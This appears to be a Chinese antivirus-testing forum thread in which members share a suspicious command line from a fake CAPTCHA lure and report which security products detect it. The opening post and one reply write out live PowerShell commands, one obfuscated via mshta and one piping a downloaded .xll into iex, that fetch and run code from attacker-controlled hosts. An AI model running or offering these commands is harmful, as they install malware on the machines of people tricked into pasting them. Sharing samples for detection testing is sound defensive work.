sus commandline 1x

显示全部楼层 · 发表于 5 天前

本帖最后由 DisaPDB 于 2025-3-1 21:48 编辑

powershell . \*i*\\\\\\\\\\\\\\\\\\\*2\msh*e https://opisso.shop/farkinrub.mp3 # ''Ι am nοt a rοbοt: гeСАРТСНА Verification ID: 62107

复制代码

如果第一个链接关闭的话尝试访问：

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -c (Invoke-WebRequest 'https://ly71.drovealarmgoatskin.shop/callobfa.xll').Content | iex

复制代码

显示全部楼层 · 发表于 5 天前

opisso[.]shop is down.

显示全部楼层 · 发表于 5 天前

腾管、智量

显示全部楼层 · 发表于 5 天前

已阻止恶意网站!
Symantec Endpoint Protection 阻止了以下网站:
https://1111.51xiaolu.com/beacon.js?adt=1/vcd15cbe7772f49c399c6a5babf22c1241717689176015

复制代码

显示全部楼层 · 发表于 5 天前

本帖最后由啊松于 2025-3-1 21:48 编辑

应该是寄了，这个恶意的mp3没有下载到计算机
（根据以往的经历，卡巴如果不阻止外联下载下来的这个文件卡巴实时监控是监控不到的，只能扫描杀）

显示全部楼层 · 发表于 5 天前

petr0vic 发表于 2025-3-1 21:36
opisso[.]shop is down.
https://downforeveryoneorjustme.com/opisso.shop?proto=https

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -c (Invoke-WebRequest 'https://ly71.drovealarmgoatskin.shop/callobfa.xll').Content | iex

复制代码

显示全部楼层 · 发表于 5 天前

啊松发表于 2025-3-1 21:47
应该是寄了，这个恶意的mp3没有下载到计算机

主楼已更新命令行

显示全部楼层 · 发表于 5 天前

本帖最后由 lsop1349987 于 2025-3-1 22:11 编辑

avast
EIS
红伞 miss

显示全部楼层 · 发表于 5 天前

DisaPDB 发表于 2025-3-1 21:48
主楼已更新命令行

这是毒吧会唱歌的那个mp3吗

显示全部楼层 · 发表于 5 天前

卡巴pdm

[可疑文件] sus commandline 1x